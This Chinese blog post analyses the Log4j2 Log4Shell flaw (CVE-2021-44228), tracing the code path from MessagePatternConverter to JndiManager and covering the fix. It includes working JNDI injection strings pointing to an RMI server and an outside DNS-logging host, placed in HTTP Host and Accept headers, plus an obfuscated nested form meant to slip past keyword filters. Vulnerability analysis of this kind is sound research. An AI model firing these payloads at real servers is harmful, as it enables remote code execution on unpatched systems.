Log4j2 之 CVE-2021-44228

OverView

CVE-2021-44228

影响版本:all versions from 2.0-beta9 to 2.14.1

Log4j2 的消息格式化处理拥有 Lookups 功能(https://logging.apache.org/log4j/2.x/manual/lookups.html),可以通过 ${前缀:key} 触发相应的替换。如:

public class Log4j2Rce2 {
    private static final Logger logger = LogManager.getLogger(Log4j2Rce2.class);

    public static void main(String[] args) {
        //String a = "${jndi:rmi://127.0.0.1:10990/Foo}";
        String a = "${java:os}";
        logger.info(a);
    }
}

将会输出操作系统的相关信息

image-20221101174430985

并且该功能也包括 JNDI Lookup

Log4j2 使用 org.apache.logging.log4j.core.pattern.MessagePatternConverter 对日志消息进行处理

而在 MessagePatternConverter 中的 noLookups 默认是 false,也就是说 Log4j2 的 Lookups 功能是默认开启的,JNDI 的 Lookup 也是。这是造成漏洞的主要原因。

image-20221031223528419

复现&分析

下面让我们先起一个 RMI 服务,部署好恶意的类对象,并且在受害机器上面打下断点。进行追源码分析。

image-20221101172013304

一路跟进 Log 方法,直到来到 MessagePatternConverter.java 下的 tryApend 方法,紧接着调用了 directEncodeEvent 方法

image-20221101172502287

我们跟进 encode 方法,该方法似乎对我们的一些事件数据进行了处理。

image-20221101172608119

然后就看到 encode 调用了下面的 toText 方法,而 toText 方法又调用了 Serializer2 的 toSerializable 方法,跟进看看,就发现了对 formatters 进行了处理

image-20221101172736805

前面的 formatters 都是先读取配置文件信息的一些准备工作,这里主要关注 MessagePatternConverter 对消息进行处理的 formatters 干了些什么

image-20221101163858201

跟进到 MessagePatternConverter.java 中的 fomat 方法,主要到这对 if 语句

image-20221101164032771

第一个 if 语句是判断要记录的 message 是不是以 ${ 开头,第二个 if 语句中的 getStrSubstitutor 只是返回 config 的内容,我们进入 replace 中,可以发现,传入了 ${jndi:} 的信息,这里跟进 if 语句中的 substitute 方法,看看它干了些什么

image-20221101164336959

对传入的 {jndi://rmi://127.0.0.1:10990/Foo} 进行了一些处理,然后我们跟进这个方法中调用的 resolveVariable 方法,而这也就是触发后续一系列的 Lookup 方法的关键入口。

image-20221101170814833

然后这里就看到了我们熟悉的朋友 lookup 方法。

image-20221101170901587

跟进看看对字符串进行了处理,继续跟进 lookup 方法

在这里获得了传入的 URL 的前缀,也就是 JNDI

image-20221101171732936

然后通过前缀获取相应的 Lookup 类对象

接着进行 lookup 操作

image-20221101171012371

可以清楚的看见调用了 JndiManager 类的 lookup 方法

image-20221101171137845

跟进。很快就会来到了我们熟悉的 URL Lookup 方法,接下来就是 JNDI 的注入流程了。

JNDI 关键字过滤的绕过

这里可以当作出题来用

关键字截取

:- 进行一个截取和赋值的操作,因此我们可以用其来混淆流量,分隔关键字。

jndi 可以混淆为

${:::::-j}${what:-n}${ls:-d}${1QAZ2wxs:-i}

如果需要的话可以是 这里利用到 Log4j2 可以嵌套解析的性质

${${:::::-j}${what:-n}${ls:-d}${1QAZ2wxs:-i}:rmi://127.0.0.1:10990/Foo}

其它

更广泛的利用:对 http host 头、accept 头尝试 jndi 注入,例如

host: ${jndi:rmi://77fef154.dnslog.store/Foo} # Jetty 生效
Accept: ${jndi:rmi://77fef154.dnslog.store/Foo}

修复

当 Log4j2 版本从 2.14.1 后,JNDI Lookup 功能默认是不开启的。

参考

https://tttang.com/archive/1378/

https://www.anquanke.com/post/id/263325

版权声明:除特殊说明,博客文章均为 Shule 原创,依据 CC BY-SA 4.0 许可证进行授权,转载请附上出处链接及本声明。
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇